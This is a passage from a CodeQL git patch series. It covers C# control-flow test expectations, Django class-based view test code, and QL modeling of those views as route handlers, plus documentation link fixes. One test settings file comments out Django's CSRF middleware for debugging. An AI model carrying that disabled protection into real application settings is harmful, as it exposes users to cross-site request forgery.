| successor | +| Finally.cs:258:31:258:45 | [finally: exception(Exception)] "Outer finally" | Finally.cs:258:13:258:46 | [finally: exception(Exception)] call to method WriteLine | semmle.label | successor | +| Finally.cs:258:31:258:45 | [finally: exception(ExceptionA)] "Outer finally" | Finally.cs:258:13:258:46 | [finally: exception(ExceptionA)] call to method WriteLine | semmle.label | successor | +| Finally.cs:258:31:258:45 | [finally: exception(OutOfMemoryException)] "Outer finally" | Finally.cs:258:13:258:46 | [finally: exception(OutOfMemoryException)] call to method WriteLine | semmle.label | successor | +| Finally.cs:260:9:260:33 | call to method WriteLine | Finally.cs:233:10:233:12 | exit M12 (normal) | semmle.label | successor | +| Finally.cs:260:9:260:34 | ...; | Finally.cs:260:27:260:32 | "Done" | semmle.label | successor | +| Finally.cs:260:27:260:32 | "Done" | Finally.cs:260:9:260:33 | call to method WriteLine | semmle.label | successor | | Foreach.cs:6:10:6:11 | enter M1 | Foreach.cs:7:5:10:5 | {...} | semmle.label | successor | | Foreach.cs:6:10:6:11 | exit M1 (normal) | Foreach.cs:6:10:6:11 | exit M1 | semmle.label | successor | | Foreach.cs:7:5:10:5 | {...} | Foreach.cs:8:29:8:32 | access to parameter args | semmle.label | successor | diff --git a/csharp/ql/test/library-tests/controlflow/graph/Nodes.expected b/csharp/ql/test/library-tests/controlflow/graph/Nodes.expected index 2dbbf608e5a..5cf17d2526b 100644 --- a/csharp/ql/test/library-tests/controlflow/graph/Nodes.expected +++ b/csharp/ql/test/library-tests/controlflow/graph/Nodes.expected @@ -983,6 +983,64 @@ finallyNode | Finally.cs:211:13:211:29 | [finally: exception(ExceptionA)] ...; | Finally.cs:197:9:212:9 | try {...} ... | | Finally.cs:211:26:211:28 | [finally: exception(Exception)] "0" | Finally.cs:197:9:212:9 | try {...} ... | | Finally.cs:211:26:211:28 | [finally: exception(ExceptionA)] "0" | Finally.cs:197:9:212:9 | try {...} ... | +| Finally.cs:243:13:253:13 | [finally: exception(Exception)] {...} | Finally.cs:237:13:253:13 | try {...} ... | +| Finally.cs:243:13:253:13 | [finally: exception(ExceptionA)] {...} | Finally.cs:237:13:253:13 | try {...} ... | +| Finally.cs:244:17:252:17 | [finally: exception(Exception)] try {...} ... | Finally.cs:237:13:253:13 | try {...} ... | +| Finally.cs:244:17:252:17 | [finally: exception(ExceptionA)] try {...} ... | Finally.cs:237:13:253:13 | try {...} ... | +| Finally.cs:245:17:248:17 | [finally: exception(Exception)] {...} | Finally.cs:237:13:253:13 | try {...} ... | +| Finally.cs:245:17:248:17 | [finally: exception(ExceptionA)] {...} | Finally.cs:237:13:253:13 | try {...} ... | +| Finally.cs:246:21:247:47 | [finally: exception(Exception)] if (...) ... | Finally.cs:237:13:253:13 | try {...} ... | +| Finally.cs:246:21:247:47 | [finally: exception(ExceptionA)] if (...) ... | Finally.cs:237:13:253:13 | try {...} ... | +| Finally.cs:246:25:246:26 | [finally: exception(Exception)] access to parameter b2 | Finally.cs:237:13:253:13 | try {...} ... | +| Finally.cs:246:25:246:26 | [finally: exception(ExceptionA)] access to parameter b2 | Finally.cs:237:13:253:13 | try {...} ... | +| Finally.cs:247:25:247:47 | [finally: exception(Exception)] throw ...; | Finally.cs:237:13:253:13 | try {...} ... | +| Finally.cs:247:25:247:47 | [finally: exception(ExceptionA)] throw ...; | Finally.cs:237:13:253:13 | try {...} ... | +| Finally.cs:247:31:247:46 | [finally: exception(Exception)] object creation of type ExceptionA | Finally.cs:237:13:253:13 | try {...} ... | +| Finally.cs:247:31:247:46 | [finally: exception(ExceptionA)] object creation of type ExceptionA | Finally.cs:237:13:253:13 | try {...} ... | +| Finally.cs:250:17:252:17 | [finally(2): exception(Exception)] {...} | Finally.cs:244:17:252:17 | try {...} ... | +| Finally.cs:250:17:252:17 | [finally(2): exception(ExceptionA)] {...} | Finally.cs:244:17:252:17 | try {...} ... | +| Finally.cs:250:17:252:17 | [finally: exception(Exception), finally(2): exception(Exception)] {...} | Finally.cs:244:17:252:17 | try {...} ... | +| Finally.cs:250:17:252:17 | [finally: exception(Exception), finally(2): exception(ExceptionA)] {...} | Finally.cs:244:17:252:17 | try {...} ... | +| Finally.cs:250:17:252:17 | [finally: exception(Exception)] {...} | Finally.cs:244:17:252:17 | try {...} ... | +| Finally.cs:250:17:252:17 | [finally: exception(ExceptionA), finally(2): exception(Exception)] {...} | Finally.cs:244:17:252:17 | try {...} ... | +| Finally.cs:250:17:252:17 | [finally: exception(ExceptionA), finally(2): exception(ExceptionA)] {...} | Finally.cs:244:17:252:17 | try {...} ... | +| Finally.cs:250:17:252:17 | [finally: exception(ExceptionA)] {...} | Finally.cs:244:17:252:17 | try {...} ... | +| Finally.cs:251:21:251:54 | [finally(2): exception(Exception)] call to method WriteLine | Finally.cs:244:17:252:17 | try {...} ... | +| Finally.cs:251:21:251:54 | [finally(2): exception(ExceptionA)] call to method WriteLine | Finally.cs:244:17:252:17 | try {...} ... | +| Finally.cs:251:21:251:54 | [finally: exception(Exception), finally(2): exception(Exception)] call to method WriteLine | Finally.cs:244:17:252:17 | try {...} ... | +| Finally.cs:251:21:251:54 | [finally: exception(Exception), finally(2): exception(ExceptionA)] call to method WriteLine | Finally.cs:244:17:252:17 | try {...} ... | +| Finally.cs:251:21:251:54 | [finally: exception(Exception)] call to method WriteLine | Finally.cs:244:17:252:17 | try {...} ... | +| Finally.cs:251:21:251:54 | [finally: exception(ExceptionA), finally(2): exception(Exception)] call to method WriteLine | Finally.cs:244:17:252:17 | try {...} ... | +| Finally.cs:251:21:251:54 | [finally: exception(ExceptionA), finally(2): exception(ExceptionA)] call to method WriteLine | Finally.cs:244:17:252:17 | try {...} ... | +| Finally.cs:251:21:251:54 | [finally: exception(ExceptionA)] call to method WriteLine | Finally.cs:244:17:252:17 | try {...} ... | +| Finally.cs:251:21:251:55 | [finally(2): exception(Exception)] ...; | Finally.cs:244:17:252:17 | try {...} ... | +| Finally.cs:251:21:251:55 | [finally(2): exception(ExceptionA)] ...; | Finally.cs:244:17:252:17 | try {...} ... | +| Finally.cs:251:21:251:55 | [finally: exception(Exception), finally(2): exception(Exception)] ...; | Finally.cs:244:17:252:17 | try {...} ... | +| Finally.cs:251:21:251:55 | [finally: exception(Exception), finally(2): exception(ExceptionA)] ...; | Finally.cs:244:17:252:17 | try {...} ... | +| Finally.cs:251:21:251:55 | [finally: exception(Exception)] ...; | Finally.cs:244:17:252:17 | try {...} ... | +| Finally.cs:251:21:251:55 | [finally: exception(ExceptionA), finally(2): exception(Exception)] ...; | Finally.cs:244:17:252:17 | try {...} ... | +| Finally.cs:251:21:251:55 | [finally: exception(ExceptionA), finally(2): exception(ExceptionA)] ...; | Finally.cs:244:17:252:17 | try {...} ... | +| Finally.cs:251:21:251:55 | [finally: exception(ExceptionA)] ...; | Finally.cs:244:17:252:17 | try {...} ... | +| Finally.cs:251:39:251:53 | [finally(2): exception(Exception)] "Inner finally" | Finally.cs:244:17:252:17 | try {...} ... | +| Finally.cs:251:39:251:53 | [finally(2): exception(ExceptionA)] "Inner finally" | Finally.cs:244:17:252:17 | try {...} ... | +| Finally.cs:251:39:251:53 | [finally: exception(Exception), finally(2): exception(Exception)] "Inner finally" | Finally.cs:244:17:252:17 | try {...} ... | +| Finally.cs:251:39:251:53 | [finally: exception(Exception), finally(2): exception(ExceptionA)] "Inner finally" | Finally.cs:244:17:252:17 | try {...} ... | +| Finally.cs:251:39:251:53 | [finally: exception(Exception)] "Inner finally" | Finally.cs:244:17:252:17 | try {...} ... | +| Finally.cs:251:39:251:53 | [finally: exception(ExceptionA), finally(2): exception(Exception)] "Inner finally" | Finally.cs:244:17:252:17 | try {...} ... | +| Finally.cs:251:39:251:53 | [finally: exception(ExceptionA), finally(2): exception(ExceptionA)] "Inner finally" | Finally.cs:244:17:252:17 | try {...} ... | +| Finally.cs:251:39:251:53 | [finally: exception(ExceptionA)] "Inner finally" | Finally.cs:244:17:252:17 | try {...} ... | +| Finally.cs:257:9:259:9 | [finally: exception(Exception)] {...} | Finally.cs:235:9:259:9 | try {...} ... | +| Finally.cs:257:9:259:9 | [finally: exception(ExceptionA)] {...} | Finally.cs:235:9:259:9 | try {...} ... | +| Finally.cs:257:9:259:9 | [finally: exception(OutOfMemoryException)] {...} | Finally.cs:235:9:259:9 | try {...} ... | +| Finally.cs:258:13:258:46 | [finally: exception(Exception)] call to method WriteLine | Finally.cs:235:9:259:9 | try {...} ... | +| Finally.cs:258:13:258:46 | [finally: exception(ExceptionA)] call to method WriteLine | Finally.cs:235:9:259:9 | try {...} ... | +| Finally.cs:258:13:258:46 | [finally: exception(OutOfMemoryException)] call to method WriteLine | Finally.cs:235:9:259:9 | try {...} ... | +| Finally.cs:258:13:258:47 | [finally: exception(Exception)] ...; | Finally.cs:235:9:259:9 | try {...} ... | +| Finally.cs:258:13:258:47 | [finally: exception(ExceptionA)] ...; | Finally.cs:235:9:259:9 | try {...} ... | +| Finally.cs:258:13:258:47 | [finally: exception(OutOfMemoryException)] ...; | Finally.cs:235:9:259:9 | try {...} ... | +| Finally.cs:258:31:258:45 | [finally: exception(Exception)] "Outer finally" | Finally.cs:235:9:259:9 | try {...} ... | +| Finally.cs:258:31:258:45 | [finally: exception(ExceptionA)] "Outer finally" | Finally.cs:235:9:259:9 | try {...} ... | +| Finally.cs:258:31:258:45 | [finally: exception(OutOfMemoryException)] "Outer finally" | Finally.cs:235:9:259:9 | try {...} ... | | cflow.cs:274:9:276:9 | [finally: return] {...} | cflow.cs:268:9:276:9 | try {...} ... | | cflow.cs:275:13:275:41 | [finally: return] call to method WriteLine | cflow.cs:268:9:276:9 | try {...} ... | | cflow.cs:275:13:275:42 | [finally: return] ...; | cflow.cs:268:9:276:9 | try {...} ... | @@ -1089,6 +1147,7 @@ entryPoint | Finally.cs:176:10:176:11 | M9 | Finally.cs:177:5:193:5 | {...} | | Finally.cs:195:10:195:12 | M10 | Finally.cs:196:5:214:5 | {...} | | Finally.cs:216:10:216:12 | M11 | Finally.cs:217:5:231:5 | {...} | +| Finally.cs:233:10:233:12 | M12 | Finally.cs:234:5:261:5 | {...} | | Foreach.cs:6:10:6:11 | M1 | Foreach.cs:7:5:10:5 | {...} | | Foreach.cs:12:10:12:11 | M2 | Foreach.cs:13:5:16:5 | {...} | | Foreach.cs:18:10:18:11 | M3 | Foreach.cs:19:5:22:5 | {...} | From 4ead118a312bdf43e41ace8eccb65992bc9c9719 Mon Sep 17 00:00:00 2001 From: Rasmus Wriedt Larsen <rasmuswl@github.com> Date: Fri, 4 Dec 2020 13:27:01 +0100 Subject: [PATCH 0137/1241] Python: Add class based route handler in django tests Disabled CSRF middleware for now, since it blocked my debugging curl POST requests :( --- .../frameworks/django-v2-v3/testapp/urls.py | 3 +++ .../frameworks/django-v2-v3/testapp/views.py | 23 +++++++++++++++++++ .../django-v2-v3/testproj/settings.py | 2 +- 3 files changed, 27 insertions(+), 1 deletion(-) diff --git a/python/ql/test/experimental/library-tests/frameworks/django-v2-v3/testapp/urls.py b/python/ql/test/experimental/library-tests/frameworks/django-v2-v3/testapp/urls.py index 48482e1e94c..0f5c360b9d8 100644 --- a/python/ql/test/experimental/library-tests/frameworks/django-v2-v3/testapp/urls.py +++ b/python/ql/test/experimental/library-tests/frameworks/django-v2-v3/testapp/urls.py @@ -12,4 +12,7 @@ urlpatterns = [ # line) re_path(r"^ba[rz]/", views.bar_baz), # $routeSetup="^ba[rz]/" url(r"^deprecated/", views.deprecated), # $routeSetup="^deprecated/" + + path("basic-view-handler/", views.MyBasicViewHandler.as_view()), # $routeSetup="basic-view-handler/" + path("custom-inheritance-view-handler/", views.MyViewHandlerWithCustomInheritance.as_view()), # $routeSetup="custom-inheritance-view-handler/" ] diff --git a/python/ql/test/experimental/library-tests/frameworks/django-v2-v3/testapp/views.py b/python/ql/test/experimental/library-tests/frameworks/django-v2-v3/testapp/views.py index ab57fd9024e..e8578f8ead3 100644 --- a/python/ql/test/experimental/library-tests/frameworks/django-v2-v3/testapp/views.py +++ b/python/ql/test/experimental/library-tests/frameworks/django-v2-v3/testapp/views.py @@ -1,10 +1,33 @@ from django.http import HttpRequest, HttpResponse +from django.views import View +from django.views.decorators.csrf import csrf_exempt + def foo(request: HttpRequest): # $routeHandler return HttpResponse("foo") # $HttpResponse + def bar_baz(request: HttpRequest): # $routeHandler return HttpResponse("bar_baz") # $HttpResponse + def deprecated(request: HttpRequest): # $routeHandler return HttpResponse("deprecated") # $HttpResponse + + +class MyBasicViewHandler(View): + def get(self, request: HttpRequest): # $ MISSING: routeHandler + return HttpResponse("MyViewHandler: GET") # $ HttpResponse + + def post(self, request: HttpRequest): # $ MISSING: routeHandler + return HttpResponse("MyViewHandler: POST") # $ HttpResponse + + +class MyCustomViewBaseClass(View): + def post(self, request: HttpRequest): # $ MISSING: routeHandler + return HttpResponse("MyCustomViewBaseClass: POST") # $ HttpResponse + + +class MyViewHandlerWithCustomInheritance(MyCustomViewBaseClass): + def get(self, request: HttpRequest): # $ MISSING: routeHandler + return HttpResponse("MyViewHandlerWithCustomInheritance: GET") # $ HttpResponse diff --git a/python/ql/test/experimental/library-tests/frameworks/django-v2-v3/testproj/settings.py b/python/ql/test/experimental/library-tests/frameworks/django-v2-v3/testproj/settings.py index 18138c41ecb..4e34a751a6f 100644 --- a/python/ql/test/experimental/library-tests/frameworks/django-v2-v3/testproj/settings.py +++ b/python/ql/test/experimental/library-tests/frameworks/django-v2-v3/testproj/settings.py @@ -44,7 +44,7 @@ MIDDLEWARE = [ 'django.middleware.security.SecurityMiddleware', 'django.contrib.sessions.middleware.SessionMiddleware', 'django.middleware.common.CommonMiddleware', - 'django.middleware.csrf.CsrfViewMiddleware', + # 'django.middleware.csrf.CsrfViewMiddleware', 'django.contrib.auth.middleware.AuthenticationMiddleware', 'django.contrib.messages.middleware.MessageMiddleware', 'django.middleware.clickjacking.XFrameOptionsMiddleware', From c7ab78f8c266488d24776d0bcfda0f40166209f7 Mon Sep 17 00:00:00 2001 From: Rasmus Wriedt Larsen <rasmuswl@github.com> Date: Fri, 4 Dec 2020 13:59:45 +0100 Subject: [PATCH 0138/1241] Python: Add modeling of django class based view handlers BUT, since MyCustomViewBaseClass.post (django-v2-v3/testapp/views.py) and Foo.post (django-v2-v3/routing_test.py) aren't handled, this raises important question about how to do MRO without points-to :S --- ...-12-04-django-class-based-view-handlers.md | 2 + .../src/semmle/python/frameworks/Django.qll | 202 +++++++++++++++++- .../frameworks/django-v1/routing_test.py | 2 +- .../frameworks/django-v2-v3/routing_test.py | 2 +- .../frameworks/django-v2-v3/testapp/views.py | 6 +- 5 files changed, 207 insertions(+), 7 deletions(-) create mode 100644 python/change-notes/2020-12-04-django-class-based-view-handlers.md diff --git a/python/change-notes/2020-12-04-django-class-based-view-handlers.md b/python/change-notes/2020-12-04-django-class-based-view-handlers.md new file mode 100644 index 00000000000..ba8d58b0025 --- /dev/null +++ b/python/change-notes/2020-12-04-django-class-based-view-handlers.md @@ -0,0 +1,2 @@ +lgtm,codescanning +* Added modeling of django class based view handlers (subclasses of `django.views.generic.View`) as sources of remote user input (`RemoteFlowSource`). diff --git a/python/ql/src/semmle/python/frameworks/Django.qll b/python/ql/src/semmle/python/frameworks/Django.qll index 4aa490f24bf..5861ff4f189 100644 --- a/python/ql/src/semmle/python/frameworks/Django.qll +++ b/python/ql/src/semmle/python/frameworks/Django.qll @@ -1498,6 +1498,147 @@ private module Django { } } } + + // ------------------------------------------------------------------------- + // django.views + // ------------------------------------------------------------------------- + /** Gets a reference to the `django.views` module. */ + DataFlow::Node views() { result = django_attr("views") } + + /** Provides models for the `django.views` module */ + module views { + /** + * Gets a reference to the attribute `attr_name` of the `django.views` module. + * WARNING: Only holds for a few predefined attributes. + */ + private DataFlow::Node views_attr(DataFlow::TypeTracker t, string attr_name) { + // for 1.11.x, see: https://github.com/django/django/blob/stable/1.11.x/django/views/__init__.py + attr_name in ["generic", "View"] and + ( + t.start() and + result = DataFlow::importNode("django.views" + "." + attr_name) + or + t.startInAttr(attr_name) and + result = views() + ) + or + // Due to bad performance when using normal setup with `views_attr(t2, attr_name).track(t2, t)` + // we have inlined that code and forced a join + exists(DataFlow::TypeTracker t2 | + exists(DataFlow::StepSummary summary | + views_attr_first_join(t2, attr_name, result, summary) and + t = t2.append(summary) + ) + ) + } + + pragma[nomagic] + private predicate views_attr_first_join( + DataFlow::TypeTracker t2, string attr_name, DataFlow::Node res, + DataFlow::StepSummary summary + ) { + DataFlow::StepSummary::step(views_attr(t2, attr_name), res, summary) + } + + /** + * Gets a reference to the attribute `attr_name` of the `django.views` module. + * WARNING: Only holds for a few predefined attributes. + */ + private DataFlow::Node views_attr(string attr_name) { + result = views_attr(DataFlow::TypeTracker::end(), attr_name) + } + + // ------------------------------------------------------------------------- + // django.views.generic + // ------------------------------------------------------------------------- + /** Gets a reference to the `django.views.generic` module. */ + DataFlow::Node generic() { result = views_attr("generic") } + + /** Provides models for the `django.views.generic` module */ + module generic { + /** + * Gets a reference to the attribute `attr_name` of the `django.views.generic` module. + * WARNING: Only holds for a few predefined attributes. + */ + private DataFlow::Node generic_attr(DataFlow::TypeTracker t, string attr_name) { + // for 3.1.x see: https://github.com/django/django/blob/stable/3.1.x/django/views/generic/__init__.py + // same for 1.11.x see: https://github.com/django/django/blob/stable/1.11.x/django/views/generic/__init__.py + attr_name in [ + "View", "TemplateView", "RedirectView", "ArchiveIndexView", "YearArchiveView", + "MonthArchiveView", "WeekArchiveView", "DayArchiveView", "TodayArchiveView", + "DateDetailView", "DetailView", "FormView", "CreateView", "UpdateView", "DeleteView", + "ListView", "GenericViewError" + ] and + ( + t.start() and + result = DataFlow::importNode("django.views.generic" + "." + attr_name) + or + t.startInAttr(attr_name) and + result = generic() + ) + or + // Due to bad performance when using normal setup with `generic_attr(t2, attr_name).track(t2, t)` + // we have inlined that code and forced a join + exists(DataFlow::TypeTracker t2 | + exists(DataFlow::StepSummary summary | + generic_attr_first_join(t2, attr_name, result, summary) and + t = t2.append(summary) + ) + ) + } + + pragma[nomagic] + private predicate generic_attr_first_join( + DataFlow::TypeTracker t2, string attr_name, DataFlow::Node res, + DataFlow::StepSummary summary + ) { + DataFlow::StepSummary::step(generic_attr(t2, attr_name), res, summary) + } + + /** + * Gets a reference to the attribute `attr_name` of the `django.views.generic` module. + * WARNING: Only holds for a few predefined attributes. + */ + private DataFlow::Node generic_attr(string attr_name) { + result = generic_attr(DataFlow::TypeTracker::end(), attr_name) + } + + /** + * Provides models for the `django.views.generic.View` class and subclasses. + * + * See + * - https://docs.djangoproject.com/en/3.1/topics/class-based-views/ + * - https://docs.djangoproject.com/en/3.1/ref/class-based-views/ + */ + module View { + /** Gets a reference to the `django.views.generic.View` class or any subclass. */ + private DataFlow::Node subclassRef(DataFlow::TypeTracker t) { + t.start() and + result = + generic_attr([ + "View", + // Known Views + "TemplateView", "RedirectView", "ArchiveIndexView", "YearArchiveView", + "MonthArchiveView", "WeekArchiveView", "DayArchiveView", "TodayArchiveView", + "DateDetailView", "DetailView", "FormView", "CreateView", "UpdateView", + "DeleteView", "ListView" + ]) + or + // `django.views.View` alias + t.start() and + result = views_attr("View") + or + // subclasses in project code + result.asExpr().(ClassExpr).getABase() = subclassRef(t.continue()).asExpr() + or + exists(DataFlow::TypeTracker t2 | result = subclassRef(t2).track(t2, t)) + } + + /** Gets a reference to the `django.views.generic.View` class or any subclass. */ + DataFlow::Node subclassRef() { result = subclassRef(DataFlow::TypeTracker::end()) } + } + } + } } // --------------------------------------------------------------------------- @@ -1530,11 +1671,63 @@ private module Django { result = djangoRouteHandlerFunctionTracker(DataFlow::TypeTracker::end(), func) } + /** A django View class defined in project code. */ + class DjangoViewClassDef extends Class { + DjangoViewClassDef() { this.getABase() = django::views::generic::View::subclassRef().asExpr() } + + /** Gets a function that could handle incoming requests, if any. */ + DjangoRouteHandler getARouteHandler() { + // TODO: This doesn't handle attribute assignment. Should be OK, but analysis is not as complete as with + // points-to and `.lookup`, which would handle `post = my_post_handler` inside class def + result = this.getAMethod() and + // TODO: Add HTTP verbs + result.getName() in ["post", "get"] + } + + /** Gets a reference to this class. */ + private DataFlow::Node getARef(DataFlow::TypeTracker t) { + t.start() and + result.asExpr().(ClassExpr) = this.getParent() + or + exists(DataFlow::TypeTracker t2 | result = this.getARef(t2).track(t2, t)) + } + + /** Gets a reference to this class. */ + DataFlow::Node getARef() { result = this.getARef(DataFlow::TypeTracker::end()) } + + /** Gets a reference to the `as_view` classmethod of this class. */ + private DataFlow::Node asViewRef(DataFlow::TypeTracker t) { + t.startInAttr("as_view") and + result = this.getARef() + or + exists(DataFlow::TypeTracker t2 | result = this.asViewRef(t2).track(t2, t)) + } + + /** Gets a reference to the `as_view` classmethod of this class. */ + DataFlow::Node asViewRef() { result = this.asViewRef(DataFlow::TypeTracker::end()) } + + /** Gets a reference to a the result of calling the `as_view` classmethod of this class. */ + private DataFlow::Node asViewResult(DataFlow::TypeTracker t) { + t.start() and + result.asCfgNode().(CallNode).getFunction() = this.asViewRef().asCfgNode() + or + exists(DataFlow::TypeTracker t2 | result = asViewResult(t2).track(t2, t)) + } + + /** Gets a reference to a the result of calling the `as_view` classmethod of this class. */ + DataFlow::Node asViewResult() { result = asViewResult(DataFlow::TypeTracker::end()) } + } + /** - * A function that is used as a django route handler. + * A function that is a django route handler, meaning it handles incoming requests + * with the django framework. */ private class DjangoRouteHandler extends Function { - DjangoRouteHandler() { exists(djangoRouteHandlerFunctionTracker(this)) } + DjangoRouteHandler() { + exists(djangoRouteHandlerFunctionTracker(this)) + or + any(DjangoViewClassDef vc).getARouteHandler() = this + } /** Gets the index of the request parameter. */ int getRequestParamIndex() { @@ -1557,6 +1750,11 @@ private module Django { final override DjangoRouteHandler getARouteHandler() { exists(DataFlow::Node viewArg | viewArg = getViewArg() | djangoRouteHandlerFunctionTracker(result) = viewArg + or + exists(DjangoViewClassDef vc | + viewArg = vc.asViewResult() and + result = vc.getARouteHandler() + ) ) } } diff --git a/python/ql/test/experimental/library-tests/frameworks/django-v1/routing_test.py b/python/ql/test/experimental/library-tests/frameworks/django-v1/routing_test.py index 08993210a91..3388d97b04e 100644 --- a/python/ql/test/experimental/library-tests/frameworks/django-v1/routing_test.py +++ b/python/ql/test/experimental/library-tests/frameworks/django-v1/routing_test.py @@ -32,7 +32,7 @@ class Foo(object): class ClassView(View, Foo): - def get(self, request, untrusted): # $ MISSING: routeHandler routedParameter=untrusted + def get(self, request, untrusted): # $ routeHandler routedParameter=untrusted return HttpResponse('ClassView get: {}'.format(untrusted)) # $HttpResponse diff --git a/python/ql/test/experimental/library-tests/frameworks/django-v2-v3/routing_test.py b/python/ql/test/experimental/library-tests/frameworks/django-v2-v3/routing_test.py index 83240f86422..5fea4ccc046 100644 --- a/python/ql/test/experimental/library-tests/frameworks/django-v2-v3/routing_test.py +++ b/python/ql/test/experimental/library-tests/frameworks/django-v2-v3/routing_test.py @@ -32,7 +32,7 @@ class Foo(object): class ClassView(View, Foo): - def get(self, request, untrusted): # $ MISSING: routeHandler routedParameter=untrusted + def get(self, request, untrusted): # $ routeHandler routedParameter=untrusted return HttpResponse('ClassView get: {}'.format(untrusted)) # $HttpResponse diff --git a/python/ql/test/experimental/library-tests/frameworks/django-v2-v3/testapp/views.py b/python/ql/test/experimental/library-tests/frameworks/django-v2-v3/testapp/views.py index e8578f8ead3..86517930d06 100644 --- a/python/ql/test/experimental/library-tests/frameworks/django-v2-v3/testapp/views.py +++ b/python/ql/test/experimental/library-tests/frameworks/django-v2-v3/testapp/views.py @@ -16,10 +16,10 @@ def deprecated(request: HttpRequest): # $routeHandler class MyBasicViewHandler(View): - def get(self, request: HttpRequest): # $ MISSING: routeHandler + def get(self, request: HttpRequest): # $ routeHandler return HttpResponse("MyViewHandler: GET") # $ HttpResponse - def post(self, request: HttpRequest): # $ MISSING: routeHandler + def post(self, request: HttpRequest): # $ routeHandler return HttpResponse("MyViewHandler: POST") # $ HttpResponse @@ -29,5 +29,5 @@ class MyCustomViewBaseClass(View): class MyViewHandlerWithCustomInheritance(MyCustomViewBaseClass): - def get(self, request: HttpRequest): # $ MISSING: routeHandler + def get(self, request: HttpRequest): # $ routeHandler return HttpResponse("MyViewHandlerWithCustomInheritance: GET") # $ HttpResponse From 608ce5039971af59e877f2774d30ce5db2ee6a52 Mon Sep 17 00:00:00 2001 From: Rasmus Wriedt Larsen <rasmuswl@github.com> Date: Fri, 4 Dec 2020 14:04:56 +0100 Subject: [PATCH 0139/1241] Python: Expose HTTP verbs in HTTP concept Let's discuss whether doing it this way is reasonable, since I'm not 100% sure whether this fits into "concepts" or not. --- python/ql/src/semmle/python/Concepts.qll | 2 ++ python/ql/src/semmle/python/frameworks/Django.qll | 3 +-- python/ql/src/semmle/python/web/HttpConstants.qll | 4 ++-- 3 files changed, 5 insertions(+), 4 deletions(-) diff --git a/python/ql/src/semmle/python/Concepts.qll b/python/ql/src/semmle/python/Concepts.qll index 5673b28ae9e..9b61d6a6fae 100644 --- a/python/ql/src/semmle/python/Concepts.qll +++ b/python/ql/src/semmle/python/Concepts.qll @@ -295,6 +295,8 @@ module SqlExecution { /** Provides classes for modeling HTTP-related APIs. */ module HTTP { + import semmle.python.web.HttpConstants + /** Provides classes for modeling HTTP servers. */ module Server { /** diff --git a/python/ql/src/semmle/python/frameworks/Django.qll b/python/ql/src/semmle/python/frameworks/Django.qll index 5861ff4f189..272e4a3e188 100644 --- a/python/ql/src/semmle/python/frameworks/Django.qll +++ b/python/ql/src/semmle/python/frameworks/Django.qll @@ -1680,8 +1680,7 @@ private module Django { // TODO: This doesn't handle attribute assignment. Should be OK, but analysis is not as complete as with // points-to and `.lookup`, which would handle `post = my_post_handler` inside class def result = this.getAMethod() and - // TODO: Add HTTP verbs - result.getName() in ["post", "get"] + result.getName() = HTTP::httpVerbLower() } /** Gets a reference to this class. */ diff --git a/python/ql/src/semmle/python/web/HttpConstants.qll b/python/ql/src/semmle/python/web/HttpConstants.qll index 5d39d517fc9..b3b389faf62 100644 --- a/python/ql/src/semmle/python/web/HttpConstants.qll +++ b/python/ql/src/semmle/python/web/HttpConstants.qll @@ -1,4 +1,4 @@ -/** Gets an http verb */ +/** Gets an HTTP verb */ string httpVerb() { result = "GET" or result = "POST" or @@ -9,5 +9,5 @@ string httpVerb() { result = "HEAD" } -/** Gets an http verb, in lower case */ +/** Gets an HTTP verb, in lower case */ string httpVerbLower() { result = httpVerb().toLowerCase() } From 8c4c6501eef2cd89c45478eac6890c5df4a6ba06 Mon Sep 17 00:00:00 2001 From: james <james@semmle.com> Date: Wed, 2 Dec 2020 17:26:37 +0000 Subject: [PATCH 0140/1241] update links to standard library reference pages --- ...e-classes-for-working-with-go-programs.rst | 867 ++++++------ ...classes-for-working-with-java-programs.rst | 473 ++++--- ...ith-javascript-and-typescript-programs.rst | 722 ++++++---- ...ow-and-tracking-tainted-data-in-python.rst | 12 +- .../analyzing-data-flow-in-javascript.rst | 2 +- .../codeql-library-for-cpp.rst | 1167 ++++++++++------- .../codeql-library-for-csharp.rst | 22 +- .../codeql-library-for-go.rst | 16 +- .../codeql-library-for-javascript.rst | 400 +++--- .../codeql-library-for-python.rst | 24 +- .../codeql-library-for-typescript.rst | 134 +- .../conversions-and-classes-in-cpp.rst | 2 +- .../data-flow-cheat-sheet-for-javascript.rst | 182 +-- .../detecting-a-potential-buffer-overflow.rst | 2 +- .../functions-in-python.rst | 2 +- ...-analysis-and-type-inference-in-python.rst | 2 +- .../using-the-guards-library-in-cpp.rst | 2 +- .../using-type-tracking-for-api-modeling.rst | 20 +- .../ql-language-reference/expressions.rst | 2 +- .../ql-training/cpp/bad-overflow-guard.rst | 2 +- .../ql-training/cpp/control-flow-cpp.rst | 2 +- docs/codeql/ql-training/cpp/data-flow-cpp.rst | 2 +- docs/codeql/ql-training/cpp/intro-ql-cpp.rst | 2 +- .../codeql/ql-training/java/intro-ql-java.rst | 2 +- .../ql-training/java/query-injection-java.rst | 2 +- .../slide-snippets/local-data-flow.rst | 12 +- docs/codeql/reusables/cpp-further-reading.rst | 2 +- .../reusables/csharp-further-reading.rst | 2 +- docs/codeql/reusables/go-further-reading.rst | 2 +- .../codeql/reusables/java-further-reading.rst | 2 +- .../reusables/javascript-further-reading.rst | 2 +- .../reusables/python-further-reading.rst | 2 +- 32 files changed, 2265 insertions(+), 1824 deletions(-) diff --git a/docs/codeql/codeql-language-guides/abstract-syntax-tree-classes-for-working-with-go-programs.rst b/docs/codeql/codeql-language-guides/abstract-syntax-tree-classes-for-working-with-go-programs.rst index 516cb86b753..09a871fdcea 100644 --- a/docs/codeql/codeql-language-guides/abstract-syntax-tree-classes-for-working-with-go-programs.rst +++ b/docs/codeql/codeql-language-guides/abstract-syntax-tree-classes-for-working-with-go-programs.rst @@ -10,374 +10,273 @@ CodeQL has a large selection of classes for representing the abstract syntax tre Statement classes ----------------- -This table lists all subclasses of `Stmt <https://help.semmle.com/qldoc/go/semmle/go/Stmt.qll/type.Stmt$Stmt.html>`__. +This table lists all subclasses of Stmt_. -+-------------------------------------------------------------------------------------------------------------------+-------------------------------------------------------------------------------------------------------------------+---------------------------------------------------------------------------------------------------------------+-------------------------------------------------------------------------------------------------------------------+ -| Statement syntax | CodeQL class | Superclasses | Remarks | -+===================================================================================================================+===================================================================================================================+===============================================================================================================+===================================================================================================================+ -| ``;`` | EmptyStmt_ | | | -| | | | | -| | .. _EmptyStmt: https://help.semmle.com/qldoc/go/semmle/go/Stmt.qll/type.Stmt$EmptyStmt.html | | | -+-------------------------------------------------------------------------------------------------------------------+-------------------------------------------------------------------------------------------------------------------+---------------------------------------------------------------------------------------------------------------+-------------------------------------------------------------------------------------------------------------------+ -| Expr_ | 